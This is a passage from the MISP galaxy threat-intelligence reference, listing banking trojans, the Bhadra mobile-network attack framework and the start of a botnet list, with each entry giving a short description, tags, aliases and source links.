https://cofense.com/major-us-financial-institutions-imitated-advanced-geodo-emotet-phishing-lures-appear-authentic-containing-proofpoint-url-wrapped-links/

Feodo

Feodo is a banking trojan that utilizes web injects and is also capable of monitoring & manipulating cookies. Version A = Port 8080, Version B = Port 80 It is delivered primarily via exploit kits and malspam emails.

The tag is: *misp-galaxy:banker="Feodo"*

Feodo is also known as:

- Bugat
- Cridex

View relationships graph

Feodo has relationships with:

- similar: misp-galaxy:tool="Dridex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Feodo" with estimative-language:likelihood-probability="likely"

Table 598. Table References

Links
https://securelist.com/dridex-a-history-of-evolution/78531/
https://feodotracker.abuse.ch/
http://stopmalvertising.com/rootkits/analysis-of-cridex.html

Ramnit

Originally not a banking trojan in 2010, Ramnit became a banking trojan after the Zeus source code leak. It is capable of performing Man-in-the-Browser attacks. Distributed primarily via exploit kits.

The tag is: *misp-galaxy:banker="Ramnit"*

Ramnit is also known as:

- Nimnul

View relationships graph

Ramnit has relationships with:

- similar: misp-galaxy:botnet="Ramnit" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Ramnit" with estimative-language:likelihood-probability="likely"

Table 599. Table References

Links
https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/

Qakbot

Qakbot is a banking trojan that leverages webinjects to steal banking information from victims. It also utilizes DGA for command and control. It is primarily delivered via exploit kits.

The tag is: *misp-galaxy:banker="Qakbot"*

Qakbot is also known as:

- Qbot

- Pinkslipbot
- Akbot

View relationships graph

Qakbot has relationships with:

- similar: misp-galaxy:tool="Akbot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="QakBot" with estimative-language:likelihood-probability="likely"

Table 600. Table References

Links
https://securityintelligence.com/qakbot-banking-trojan-causes-massive-active-directory-lockouts/
https://www.johannesbader.ch/2016/02/the-dga-of-qakbot/
https://www.virusbulletin.com/uploads/pdf/magazine/2016/VB2016-Karve-etal.pdf

Corebot

Corebot is a modular trojan that leverages a banking module that can perform browser hooking, form grabbing, MitM, webinjection to steal financial information from victims. Distributed primarily via malspam emails and exploit kits.

The tag is: *misp-galaxy:banker="Corebot"*

View relationships graph

Corebot has relationships with:

- similar: misp-galaxy:malpedia="Corebot" with estimative-language:likelihood-probability="likely"

Table 601. Table References

Links
https://securityintelligence.com/an-overnight-sensation-corebot-returns-as-a-full-fledged-financial-malware/
https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/02/ASERT-Threat-Intelligence-Brief-2016-02-Corebot-1.pdf
https://malwarebreakdown.com/2017/09/11/re-details-malspam-downloads-corebot-banking-trojan/

TinyNuke

TinyNuke is a modular banking trojan that includes a HiddenDesktop/VNC server and reverse SOCKS 4 server. It's main functionality is to make web injections into specific pages to steal user data. Distributed primarily via malspam emails and exploit kits.

The tag is: *misp-galaxy:banker="TinyNuke"*

TinyNuke is also known as:

- NukeBot
- Nuclear Bot
- MicroBankingTrojan
- Xbot

View relationships graph

TinyNuke has relationships with:

- similar: misp-galaxy:mitre-tool="Xbot - S0298" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Xbot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TinyNuke" with estimative-language:likelihood-probability="likely"

Table 602. Table References

Links
https://securelist.com/the-nukebot-banking-trojan-from-rough-drafts-to-real-threats/78957/
https://www.arbornetworks.com/blog/asert/dismantling-nuclear-bot/
https://securityintelligence.com/the-nukebot-trojan-a-bruised-ego-and-a-surprising-source-code-leak/
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4596
https://benkowlab.blogspot.ca/2017/08/quick-look-at-another-alina-fork-xbot.html

Retefe

Retefe is a banking trojan that is distributed by what SWITCH CERT calls the Retefe gang or Operation Emmental. It uses geolocation based targeting. It also leverages fake root certificate and changes the DNS server for domain name resolution in order to display fake banking websites to victims. It is spread primarily through malspam emails.

The tag is: *misp-galaxy:banker="Retefe"*

Retefe is also known as:

- Tsukuba
- Werdlod

View relationships graph

Retefe has relationships with:

- similar: misp-galaxy:malpedia="Retefe (Android)" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Dok" with estimative-language:likelihood-probability="likely"

Table 603. Table References

Links
https://www.govcert.admin.ch/blog/33/the-retefe-saga
https://threatpost.com/eternalblue-exploit-used-in-retefe-banking-trojan-campaign/128103/
https://countuponsecurity.com/2016/02/29/retefe-banking-trojan/
https://securityblog.switch.ch/2014/11/05/retefe-with-a-new-twist/
http://securityintelligence.com/tsukuba-banking-trojan-phishing-in-japanese-waters/

ReactorBot

ReactorBot is sometimes mistakenly tagged as Rovnix. ReactorBot is a full fledged modular bot that includes a banking module that has roots with the Carberp banking trojan. Distributed primarily via malspam emails.

The tag is: *misp-galaxy:banker="ReactorBot"*

View relationships graph

ReactorBot has relationships with:

- similar: misp-galaxy:malpedia="ReactorBot" with estimative-language:likelihood-probability="likely"

Table 604. Table References

Links
http://www.malwaredigger.com/2015/06/rovnix-payload-and-plugin-analysis.html
https://www.symantec.com/connect/blogs/new-carberp-variant-heads-down-under
http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html
http://blog.trendmicro.com/trendlabs-security-intelligence/rovnix-infects-systems-with-password-protected-macros/

Matrix Banker

Matrix Banker is named accordingly because of the Matrix reference in it's C2 panel. Distributed primarily via malspam emails.

The tag is: *misp-galaxy:banker="Matrix Banker"*

View relationships graph

Matrix Banker has relationships with:

- similar: misp-galaxy:malpedia="Matrix Banker" with estimative-language:likelihood-probability="likely"

Table 605. Table References

Links
https://www.arbornetworks.com/blog/asert/another-banker-enters-matrix/

Zeus Gameover

Zeus Gameover captures banking credentials from infected computers, then use those credentials to initiate or re-direct wire transfers to accounts overseas that are controlled by the criminals. GameOver has a decentralized, peer-to-peer command and control infrastructure rather than centralized points of origin. Distributed primarily via malspam emails and exploit kits.

The tag is: *misp-galaxy:banker="Zeus Gameover"*

Table 606. Table References

Links
https://heimdalsecurity.com/blog/zeus-gameover/
https://www.us-cert.gov/ncas/alerts/TA14-150A

SpyEye

SpyEye is a similar to the Zeus botnet banking trojan. It utilizes a web control panel for C2 and can perform form grabbing, autofill credit card modules, ftp grabber, pop3 grabber and HTTP basic access authorization grabber. It also contained a Kill Zeus feature which would remove any Zeus infections if SpyEye was on the system. Distributed primarily via exploit kits and malspam emails.

The tag is: *misp-galaxy:banker="SpyEye"*

Table 607. Table References

Links
https://www.ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
https://www.computerworld.com/article/2509482/security0/spyeye-trojan-defeating-online-banking-defenses.html
https://www.symantec.com/connect/blogs/spyeye-bot-versus-zeus-bot

Citadel

Citadel is an offspring of the Zeus banking trojan. Delivered primarily via exploit kits.

The tag is: *misp-galaxy:banker="Citadel"*

View relationships graph

Citadel has relationships with:

- similar: misp-galaxy:malpedia="Citadel" with estimative-language:likelihood-probability="likely"

Table 608. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2012/11/citadel-a-cyber-criminals-ultimate-weapon/
https://krebsonsecurity.com/tag/citadel-trojan/
https://securityintelligence.com/cybercriminals-use-citadel-compromise-password-management-authentication-solutions/

Atmos

Atmos is derived from the Citadel banking trojan. Delivered primarily via exploit kits and malspam emails.

The tag is: *misp-galaxy:banker="Atmos"*

Table 609. Table References

Links
https://heimdalsecurity.com/blog/security-alert-citadel-trojan-resurfaces-atmos-zeus-legacy/
http://www.xylibox.com/2016/02/citadel-0011-atmos.html

Ice IX

Ice IX is a bot created using the source code of ZeuS 2.0.8.9. No major improvements compared to ZeuS 2.0.8.9.

The tag is: *misp-galaxy:banker="Ice IX"*

View relationships graph

Ice IX has relationships with:

- similar: misp-galaxy:malpedia="Ice IX" with estimative-language:likelihood-probability="likely"

Table 610. Table References

Links
https://securelist.com/ice-ix-not-cool-at-all/29111/ [https://securelist.com/ice-ix-not-cool-at-all/29111/]

Zitmo

Zeus in the mobile. Banking trojan developed for mobile devices such as Windows Mobile, Blackberry and Android.

The tag is: *misp-galaxy:banker="Zitmo"*

Table 611. Table References

Links
https://securelist.com/zeus-in-the-mobile-for-android-10/29258/

Licat

Banking trojan based on Zeus V2. Murofet is a newer version of Licat found ~end of 2011

The tag is: *misp-galaxy:banker="Licat"*

Licat is also known as:

- Murofet

View relationships graph

Licat has relationships with:

- similar: misp-galaxy:malpedia="Murofet" with estimative-language:likelihood-probability="likely"

Table 612. Table References

Links
https://johannesbader.ch/2015/09/three-variants-of-murofets-dga/
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PE_LICAT.A
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Virus%3aWin32%2fMurofet.A

Skynet

Skynet is a Tor-powered trojan with DDoS, Bitcoin mining and Banking capabilities. Spread via USENET as per rapid7.

The tag is: *misp-galaxy:banker="Skynet"*

Table 613. Table References

Links
https://blog.rapid7.com/2012/12/06/skynet-a-tor-powered-botnet-straight-from-reddit/

IcedID

According to X-Force research, the new banking Trojan emerged in the wild in September 2017, when its first test campaigns were launched. Our researchers noted that IcedID has a modular malicious code with modern banking Trojan capabilities comparable to malware such as the Zeus Trojan. At this time, the malware targets banks, payment card providers, mobile services providers, payroll, webmail and e-commerce sites in the U.S. Two major banks in the U.K. are also on the target list the malware fetches.

The tag is: *misp-galaxy:banker="IcedID"*

View relationships graph

IcedID has relationships with:

- similar: misp-galaxy:malpedia="IcedID" with estimative-language:likelihood-probability="likely"

Table 614. Table References

Links
https://www.bleepingcomputer.com/news/security/new-icedid-banking-trojan-discovered/
https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/
http://blog.talosintelligence.com/2018/04/icedid-banking-trojan.html

GratefulPOS

GratefulPOS has the following functions 1. Access arbitrary processes on the target POS system 2. Scrape track 1 and 2 payment card data from the process(es) 3. Exfiltrate the payment card data via lengthy encoded and obfuscated DNS queries to a hardcoded domain registered and controlled by the perpetrators, similar to that described by Paul Rascagneres in his analysis of FrameworkPOS in 2014[iii], and more recently by Luis Mendieta of Anomoli in analysis of a precursor to this sample.

The tag is: *misp-galaxy:banker="GratefulPOS"*

View relationships graph

GratefulPOS has relationships with:

- similar: misp-galaxy:tool="GratefulPOS" with estimative-language:likelihood-probability="likely"

Table 615. Table References

Links
https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season

Dok

A macOS banking trojan that that redirects an infected user's web traffic in order to extract banking credentials.

The tag is: *misp-galaxy:banker="Dok"*

View relationships graph

Dok has relationships with:

- similar: misp-galaxy:malpedia="Retefe (Android)" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Dok" with estimative-language:likelihood-probability="likely"

Table 616. Table References

Links
https://objective-see.com/blog/blog_0x25.html#Dok

downAndExec

Services like Netflix use content delivery networks (CDNs) to maximize bandwidth usage as it gives users greater speed when viewing the content, as the server is close to them and is part of the Netflix CDN. This results in faster loading times for series and movies, wherever you are in the world. But, apparently, the CDNs are starting to become a new way of spreading malware. The attack chain is very extensive, and incorporates the execution of remote scripts (similar in some respects to the recent "fileless" banking malware trend), plus the use of CDNs for command and control (C&C), and other standard techniques for the execution and protection of malware.

The tag is: *misp-galaxy:banker="downAndExec"*

Table 617. Table References

Links
https://www.welivesecurity.com/2017/09/13/downandexec-banking-malware-cdns-brazil/

Smominru

Since the end of May 2017, we have been monitoring a Monero miner that spreads using the EternalBlue Exploit (CVE-2017-0144). The miner itself, known as Smominru (aka Ismo) has been well-documented, so we will not discuss its post-infection behavior. However, the miner's use of Windows Management Infrastructure is unusual among coin mining malware. The speed at which mining operations conduct mathematical operations to unlock new units of cryptocurrency is referred to as "hash power". Based on the hash power associated with the Monero payment address for this operation, it appeared that this botnet was likely twice the size of Adylkuzz. The operators had already mined approximately 8,900 Monero (valued this week between $2.8M and $3.6M). Each day, the botnet mined roughly 24 Monero, worth an average of $8,500 this week.

The tag is: *misp-galaxy:banker="Smominru"*

Smominru is also known as:

- Ismo
- lsmo

View relationships graph

Smominru has relationships with:

- similar: misp-galaxy:malpedia="Smominru" with estimative-language:likelihood-probability="likely"

Table 618. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators

DanaBot

It's a Trojan that includes banking site web injections and stealer functions. It consists of a downloader component that downloads an encrypted file containing the main DLL. The DLL, in turn, connects using raw TCP connections to port 443 and downloads additional modules (i.e. VNCDLL.dll, StealerDLL.dll, ProxyDLL.dll)

The tag is: *misp-galaxy:banker="DanaBot"*

View relationships graph

DanaBot has relationships with:

- similar: misp-galaxy:malpedia="DanaBot" with estimative-language:likelihood-probability="likely"

Table 619. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/danabot-new-banking-trojan-surfaces-down-under-0
https://www.bleepingcomputer.com/news/security/danabot-banking-malware-now-targeting-banks-in-the-us/

Backswap

The banker is distributed through malicious email spam campaigns. Instead of using complex process injection methods to monitor browsing activity, the malware hooks key Windows message loop events in order to inspect values of the window objects for banking activity. The payload is delivered as a modified version of a legitimate application that is partially overwritten by the malicious payload

The tag is: *misp-galaxy:banker="Backswap"*

Table 620. Table References

Links
https://www.cert.pl/news/single/analiza-zlosliwego-oprogramowania-backswap/
https://www.welivesecurity.com/2018/05/25/backswap-malware-empty-bank-accounts/

Bebloh

The tag is: *misp-galaxy:banker="Bebloh"*

Bebloh is also known as:

- URLZone
- Shiotob

View relationships graph

Bebloh has relationships with:

- similar: misp-galaxy:malpedia="UrlZone" with estimative-language:likelihood-probability="likely"

Table 621. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Bebloh.A
https://www.symantec.com/security-center/writeup/2011-041411-0912-99

Banjori

The tag is: *misp-galaxy:banker="Banjori"*

Banjori is also known as:

- MultiBanker 2
- BankPatch
- BackPatcher

View relationships graph

Banjori has relationships with:

- similar: misp-galaxy:malpedia="Banjori" with estimative-language:likelihood-probability="likely"

Table 622. Table References

Links
https://www.johannesbader.ch/2015/02/the-dga-of-banjori/

Qadars

The tag is: *misp-galaxy:banker="Qadars"*

View relationships graph

Qadars has relationships with:

- similar: misp-galaxy:malpedia="Qadars" with estimative-language:likelihood-probability="likely"

Table 623. Table References

Links
https://www.countercept.com/our-thinking/decrypting-qadars-banking-trojan-c2-traffic/

Sisron

The tag is: *misp-galaxy:banker="Sisron"*

Table 624. Table References

Links
https://www.johannesbader.ch/2016/06/the-dga-of-sisron/

Ranbyus

The tag is: *misp-galaxy:banker="Ranbyus"*

View relationships graph

Ranbyus has relationships with:

- similar: misp-galaxy:malpedia="Ranbyus" with estimative-language:likelihood-probability="likely"

Table 625. Table References

Links
https://www.johannesbader.ch/2016/06/the-dga-of-sisron/

Fobber

The tag is: *misp-galaxy:banker="Fobber"*

View relationships graph

Fobber has relationships with:

- similar: misp-galaxy:malpedia="Fobber" with estimative-language:likelihood-probability="likely"

Table 626. Table References

Links
https://searchfinancialsecurity.techtarget.com/news/4500249201/Fobber-Drive-by-financial-malware-returns-with-new-tricks

Karius

Trojan under development and already being distributed through the RIG Exploit Kit. Observed code similarities with other well-known bankers such as Ramnit, Vawtrak and TrickBot. Karius works in a rather traditional fashion to other banking malware and consists of three components (injector32\64.exe, proxy32\64.dll and mod32\64.dll), these components essentially work together to deploy webinjects in several browsers.

The tag is: *misp-galaxy:banker="Karius"*

View relationships graph

Karius has relationships with:

- similar: misp-galaxy:malpedia="Karius" with estimative-language:likelihood-probability="likely"

Table 627. Table References

Links
https://research.checkpoint.com/banking-trojans-development/

Kronos

Kronos was a type of banking malware first reported in 2014. It was sold for $7000. As of September 2015, a renew version was reconnecting with infected bots and sending them a brand new configuration file against U.K. banks and one bank in India. Similar to Zeus it was focused on stealing banking login credentials from browser sessions. A new version of this malware appears to have been used in 2018, the main difference is that the 2018 edition uses Tor-hosted C&C control panels.

The tag is: *misp-galaxy:banker="Kronos"*

View relationships graph

Kronos has relationships with:

- similar: misp-galaxy:malpedia="Kronos" with estimative-language:likelihood-probability="likely"

Table 628. Table References

Links
https://en.wikipedia.org/wiki/Kronos_(malware)
https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware
https://www.bleepingcomputer.com/news/security/new-version-of-the-kronos-banking-trojan-discovered/

CamuBot

A newly discovered banking Trojan departs from the regular tactics observed by malware researchers by choosing visible installation and by adding social engineering components. CamuBot appeared last month in Brazil targeting companies and organizations from the public sector. The victim is the one installing the malware, at the instructions of a human operator that pretends to be a bank employee.

The tag is: *misp-galaxy:banker="CamuBot"*

View relationships graph

CamuBot has relationships with:

- similar: misp-galaxy:malpedia="CamuBot" with estimative-language:likelihood-probability="likely"

Table 629. Table References

Links
https://www.bleepingcomputer.com/news/security/new-banking-trojan-poses-as-a-security-module/ [https://www.bleepingcomputer.com/news/security/new-banking-trojan-poses-as-a-security-module/]

Dark Tequila

Dark Tequila has primarily been designed to steal victims' financial information from a long list of online banking sites, as well as login credentials to popular websites, ranging from code versioning repositories to public file storage accounts and domain registrars.

The tag is: *misp-galaxy:banker="Dark Tequila"*

Table 630. Table References

Links
https://thehackernews.com/2018/08/mexico-banking-malware.html

Bhadra Framework

Bhadra Threat Modeling Framework.

Bhadra Framework is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors
Siddharth Prakash Rao - Silke Holtmanns - Tuomas Aura

Attacks from UE

"Attacks from UE" refers to any technique that involves the attacks launched by the software or hardware components of the user equipment to send malicious traffic into the mobile network.

The tag is: *misp-galaxy:bhadra-framework="Attacks from UE"*

SIM-based attacks

The "SIM-based attacks" are the techniques that involve any physical smart cards, namely SIM from 2G, USIM from 3G, and UICC from 4G networks.

The tag is: *misp-galaxy:bhadra-framework="SIM-based attacks"*

Attacks from radio access network

The "attacks from radio access network" are the techniques where an adversary with radio capabilities impersonates the mobile network to the UE (or vice versa) and becomes a man-in-the-middle.

The tag is: *misp-galaxy:bhadra-framework="Attacks from radio access network"*

Attacks from other mobile network

The "attacks from other mobile networks" and the "attacks with physical access to transport network" techniques can be conducted by evil mobile operators, law enforcement agencies for legal interception and human insiders with access to network nodes

The tag is: *misp-galaxy:bhadra-framework="Attacks from other mobile network"*

Attacks with access to transport network

The "attacks from other mobile networks" and the "attacks with physical access to transport network" techniques can be conducted by evil mobile operators, law enforcement agencies for legal interception and human insiders with access to network nodes

The tag is: *misp-galaxy:bhadra-framework="Attacks with access to transport network"*

Attacks from IP-based network

The "attacks from IP-based attacks" techniques mostly are launched from the service and application network, which allows non operator entities to infuse malicious tra c into an operator’s network.

The tag is: *misp-galaxy:bhadra-framework="Attacks from IP-based network"*

Insider attacks and human errors

The "insider attacks and human errors" technique involve the intentional attacks and unintentional mistakes from human insiders with access to any component of the mobile communication ecosystem.

The tag is: *misp-galaxy:bhadra-framework="Insider attacks and human errors"*

Infecting UE hardware or software

Retaining the foothold gained on the target system through the initial access by infecting UE hardware or software.

The tag is: *misp-galaxy:bhadra-framework="Infecting UE hardware or software"*

Infecting SIM cards

Retaining the foothold gained on the target system through the initial access by infecting SIM cards.

The tag is: *misp-galaxy:bhadra-framework="Infecting SIM cards"*

Spoofed radio network

Retaining the foothold gained on the target system through the initial access by radio network spoofing.

The tag is: *misp-galaxy:bhadra-framework="Spoofed radio network"*

Infecting network nodes

Retaining the foothold gained on the target system through the initial access by infecting network nodes.

The tag is: *misp-galaxy:bhadra-framework="Infecting network nodes"*

Covert channels

Retaining the foothold gained on the target system through the initial access via covert channels.

The tag is: *misp-galaxy:bhadra-framework="Covert channels"*

Port scanning or sweeping

"Port scanning or sweeping" techniques to probe servers or hosts with open ports.

The tag is: *misp-galaxy:bhadra-framework="Port scanning or sweeping"*

Perimeter mapping

"perimeter mapping" techniques such as command-line utilities (e.g., nmap and whois), web-based lookup tools and official APIs provided by the Internet registrars that assign the ASNs using a wide range of publicly available sources.

The tag is: *misp-galaxy:bhadra-framework="Perimeter mapping"*

Threat intelligence gathering

"Threat intelligence gathering" using dedicated search engines (such as Censys, Shodan) to gather information about vulnerable devices or networks, or using advanced search options of traditional search engines.

The tag is: *misp-galaxy:bhadra-framework="Threat intelligence gathering"*

CN-specific scanning

"CN-specific scanning", used to scan nodes that are interconnected with protocols specific to the mobile communication domain (GTP, SCTP).

The tag is: *misp-galaxy:bhadra-framework="CN-specific scanning"*

Internal resource search

"Internal resource search" refers to an insider with access to provider internal databases abusing the information as a discovery tactic.

The tag is: *misp-galaxy:bhadra-framework="Internal resource search"*

UE knocking

"UE knocking" refers to the technique that scans User Equipment, similarly to how IP endpoints and core network nodes are scanned or mapped.

The tag is: *misp-galaxy:bhadra-framework="UE knocking"*

Exploit roaming agreements

"Exploit roaming agreements" is a technique exploited by evil mobile operators. Despite communication with operators is dependent on a roaming agreement being in place, an attacker that has gained a foothold with one operator, it can abuse the roaming agreements in place for lateral movement with all adjacent operators with agreements in place.

The tag is: *misp-galaxy:bhadra-framework="Exploit roaming agreements"*

Abusing interworking functionalities

"Abusing Inter-working functionalities" is a technique for adversaries to move between networks of different generations laterally

The tag is: *misp-galaxy:bhadra-framework="Abusing interworking functionalities"*

Exploit platform & service-specific vulnerabilities

Once an attacker has gained a foothold in an operator, it can conduct privilege escalation and process injection for gaining administrative rights, password cracking of valid user accounts on the nodes, exploit vulnerabilities in databases and file systems, and take advantage of improper configurations of routers and switches.

The tag is: *misp-galaxy:bhadra-framework="Exploit platform & service-specific vulnerabilities"*

SS7-based-attacks

Attacks abusing the SS7 protocol.

The tag is: *misp-galaxy:bhadra-framework="SS7-based-attacks"*

Diameter-based attacks

Attacks abusing the Diameter protocol.

The tag is: *misp-galaxy:bhadra-framework="Diameter-based attacks"*

GTP-based attacks

Attacks abusing the GTP protocol.

The tag is: *misp-galaxy:bhadra-framework="GTP-based attacks"*

DNS-based attacks

DNS based attacks.

The tag is: *misp-galaxy:bhadra-framework="DNS-based attacks"*

Pre-AKA attacks

Attack techniques that take place during the unencrypted communication that occurs prior to the AKA protocol.

The tag is: *misp-galaxy:bhadra-framework="Pre-AKA attacks"*

Security audit camouflage

The operating systems, software, and services used on the network nodes are prone to security vulnerabilities and installation of unwanted malware. Although operators conduct routine security audits to track and patch the vulnerabilities or remove the malware from the infected nodes, their effectiveness is not known to the public. Any means by which an adversary can remain undetected from such audits are referred to as the security audit camouflage technique.

The tag is: *misp-galaxy:bhadra-framework="Security audit camouflage"*

Blacklist evasion

Mobile operators employ several defenses in terms of securing their network traffic. For instance, operators maintain a whitelist of IPs and GTs of nodes from their own infrastructure and their partner operators (as agreed in IR 21), and traffic from only these nodes are processed. Similarly, a blacklist is also maintained to control spam due to configuration errors and malicious traffic. Anything from the blacklist is banned from entering the operator’s network. Such defense mechanisms may defend against unsolicited traffic from external networks (e.g., from the public Internet and SAN), but it barely serves its purpose in the case of attacks from inter-operator communications. Since most of the communication protocols are unauthenticated in nature, an attacker with knowledge of identifiers of the allowed nodes (i.e. gained during the discovery phase) can impersonate their identity. We call it the blacklist evasion technique.

The tag is: *misp-galaxy:bhadra-framework="Blacklist evasion"*

Middlebox misconfiguration exploits

NAT middleboxes are used for separating private networks of mobile operators from public Internet works as the second line of defense. However, studies have shown that the middleboxes deployed by operators are prone to misconfigurations that allow adversaries to infiltrate malicious traffic into mobile networks e.g., by spoofing the IP headers. Some of the other NAT vulnerabilities lie in IPv4-to-IPv6 address mapping logic, which can be exploited by adversaries to exhaust the resources, wipe out the mapping, or to assist with blacklist evasion. Adversaries use such middlebox misconfiguration exploit techniques to launch denial-of-service or over-billing attacks.

The tag is: *misp-galaxy:bhadra-framework="Middlebox misconfiguration exploits"*

Bypass Firewall

Adversaries (e.g., evil operators) can for example exploit the implicit trust between roaming partners as a bypass firewall technique.

The tag is: *misp-galaxy:bhadra-framework="Bypass Firewall"*

Bypass homerouting

SMS home routing is a defense mechanism, where an additional SMS router intervenes in external location queries for SMS deliveries, and the roaming network takes the responsibility of delivering the SMS without providing location information to the external entity. Although many operators have implemented SMS home routing solutions, there are no silver bullets. If the SMS routers are incorrectly configured, adversaries can hide SMS delivery location queries within other messages so that the SMS home router fails to process them. We refer to it as the bypass home routing technique.

The tag is: *misp-galaxy:bhadra-framework="Bypass homerouting"*

Downgrading

Attacks on the radio access networks are well-studied and newer generations are designed to address the weaknesses in previous generations. Usage of weak cryptographic primitives, lack of integrity protection of the radio channels, and one-sided authentication (only from the network) remain as the problem of mostly GSM only radio communication. So, radio link attackers use downgrading as an attack technique to block service over newer generations and accept to serve only in the GSM radio network. The downgrading technique works similarly in the core network, where the adversary accepts to serve only in SS7-based signaling instead of Diameterbased signaling. Using interworking functions for inter-generation communication translation could make the downgrading attacks much easier.

The tag is: *misp-galaxy:bhadra-framework="Downgrading"*

Redirection

Redirection technique is a variant of the downgrading technique, where an adversary forcefully routes the traffic through networks or components that are under its control. By redirecting traffic to an unsafe network, the adversary can intercept mobile communication (e.g., calls and SMS) on the RAN part. Redirection attacks on the core network result in not only communication interception, but also in billing discrepancies, as an adversary can route the calls of a mobile user from its home network through a foreign network on a higher call rate.

The tag is: *misp-galaxy:bhadra-framework="Redirection"*

UE Protection evasion

Protection on the UE is mainly available in the form of antivirus apps as a defense against viruses and malware that steals sensitive information (e.g., banking credentials and user passwords) or track user activities. Simple visual cues on UE (such as notifications) could also be a protection mechanism by itself. Unfortunately, mobile network-based attacks cannot be detected or defended effectively from UE's side by traditional antivirus apps, and such attacks do not trigger any visual signs. Although there are attempts for defending against radio link attacks, including citywide studies to detect IMSI catchers, their effectiveness is still under debate. Similarly, there are recent attempts to detect signaling attacks using distance bounding protocol run from a UE. However, such solutions are still in the research phase, and their effectiveness on a large scale is still untested. To this end, the absence of robust detection and defense mechanisms on the UE is, in fact, an evasion mechanism for an adversary. We refer to them as UE protection evasion techniques.

The tag is: *misp-galaxy:bhadra-framework="UE Protection evasion"*

Admin credentials

Stealing legitimate admin credentials for critical nodes is beneficial for the adversary to increase its chances of persistence to the target or masquerade its activities.

The tag is: *misp-galaxy:bhadra-framework="Admin credentials"*

User-specific identifiers

User-specific identifiers such as IMSI and IMEI are an indicator for who owns UE with a specific subscription and where a UE is located physically. Since mobile users always keep their mobile phones physically near them, an adversary with the knowledge of these permanent identifiers will be able to determine whether or not a user is in a specific location. On the other hand, temporary identifiers (e.g., TMSI and GUTI) are used to reduce the usage of permanent identifiers like IMSI over radio channels. Although the temporary identifiers are supposed to change frequently and expected to live for a short period, research has shown that it is not the case

The tag is: *misp-galaxy:bhadra-framework="User-specific identifiers"*

User-specific data

Adversaries can collect several types of user-specific data, such as the content of SMS and calls, location dumps from base stations, call and billing records, and browsing-related data (such as DNS queries and unencrypted browsing sessions).

The tag is: *misp-galaxy:bhadra-framework="User-specific data"*

Network-specific identifiers

Adversaries aim to collect network-specific identifiers such as GTs and IPs of critical nodes and Tunnel Endpoint Identifier (TEID) of GTP tunnels from operators' networks

The tag is: *misp-galaxy:bhadra-framework="Network-specific identifiers"*

Network-specific data

Adversaries may also be interested in network-specific data that are obtained mainly during the execution of discovery tactics. Such data includes, e.g., the network topology, the trust relationship between different nodes, routing metadata, and sensitive documents

The tag is: *misp-galaxy:bhadra-framework="Network-specific data"*

Location tracking

Attacker is able to track the location of the target end-user.

The tag is: *misp-galaxy:bhadra-framework="Location tracking"*

Calls eavesdropping

Attacker is able to eavesdrop on calls.

The tag is: *misp-galaxy:bhadra-framework="Calls eavesdropping"*

SMS interception

Attacker is able to intercept SMS messages.

The tag is: *misp-galaxy:bhadra-framework="SMS interception"*

Data interception

Attacker is able to intercept or modify internet traffic.

The tag is: *misp-galaxy:bhadra-framework="Data interception"*

Billing frauds

Billing frauds refer to various types of attacks where an adversary causes financial discrepancies for operators.

The tag is: *misp-galaxy:bhadra-framework="Billing frauds"*

DoS - network

The attacker can create signaling havoc in specific nodes of operators by repeatedly triggering resource allocation or revocation requests.

The tag is: *misp-galaxy:bhadra-framework="DoS - network"*

DoS - user

The attacker can cause denial of service to mobile users.

The tag is: *misp-galaxy:bhadra-framework="DoS - user"*

Identity-related attacks

Identity-based attacks involve attack techniques using userand network-specific identifiers. Identity-based attacks cause harm to the privacy of mobile users and produce fraudulent traffic that incurs a financial loss to operators. In most cases, identity-based attacks are used in impersonation, where an adversary impersonates a legitimate mobile user to the core network without possessing appropriate credentials, for example, to avail free mobile services. Most of the signaling attacks that use SS7 are also fall into this category. In other cases, identitybased attacks involve identity mapping, where the adversaries map temporary identifiers (e.g., TMSI and GUTI) to permanent identifiers (e.g., IMSI or MSISDN). In rare cases, the IMSI can further be mapped to social media identities.

The tag is: *misp-galaxy:bhadra-framework="Identity-related attacks"*

Botnet

botnet galaxy.

Botnet is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various

ADB.miner

A new botnet appeared over the weekend, and it's targeting Android devices by scanning for open debug ports so it can infect victims with malware that mines the Monero cryptocurrency.

The botnet came to life on Saturday, February 3, and is targeting port 5555, which on devices running the Android OS is the port used by the operating system's native Android Debug Bridge (ADB), a debugging interface that grants access to some of the operating system's most sensitive features.

Only devices running the Android OS have been infected until now, such as smartphones, smart TVs, and TV top boxes, according to security researchers from Qihoo 360's Network Security Research Lab [Netlab] division, the ones who discovered the botnet, which the named ADB.miner.

The tag is: *misp-galaxy:botnet="ADB.miner"*

Table 631. Table References

Links
https://www.bleepingcomputer.com/news/security/android-devices-targeted-by-new-monero-mining-botnet/

Bagle

Bagle (also known as Beagle) was a mass-mailing computer worm affecting Microsoft Windows. The first strain, Bagle.A, did not propagate widely. A second variant, Bagle.B, was considerably more virulent.

The tag is: *misp-galaxy:botnet="Bagle"*

Bagle is also known as:

- Beagle
